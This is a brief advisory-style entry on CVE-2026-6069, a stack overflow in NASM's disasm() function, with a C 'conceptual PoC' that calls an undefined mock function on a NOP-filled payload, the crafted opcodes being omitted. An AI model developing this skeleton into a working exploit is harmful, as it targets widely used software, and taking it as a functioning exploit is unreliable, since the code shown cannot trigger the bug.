CVE-2026-6069 NASM disasm()函数栈溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> // Conceptual PoC for CVE-2026-6069 // This demonstrates triggering the buffer overflow in disasm() // by providing input that results in an output string (slen) // larger than the internal buffer capacity. // Mocking the vulnerable function signature for demonstration int vulnerable_disasm(unsigned char *data, int len, char *out_buf, int out_buf_size); int main() { // 1. Prepare malicious bytecode that disassembles into a long string // or manipulates the internal state to cause slen overflow. unsigned char payload[1024]; // Fill with crafted opcodes (omitted for brevity) memset(payload, 0x90, sizeof(payload)); // 2. Target buffer on the stack char output_buffer[256]; printf("[+] Triggering disasm() overflow...\n"); // 3. Call the vulnerable function // The vulnerability occurs when formatting output where slen > buffer size. // This will cause a stack-based buffer overflow. vulnerable_disasm(payload, sizeof(payload), output_buffer, sizeof(output_buffer)); printf("[-] Exploit finished.\n"); return 0; }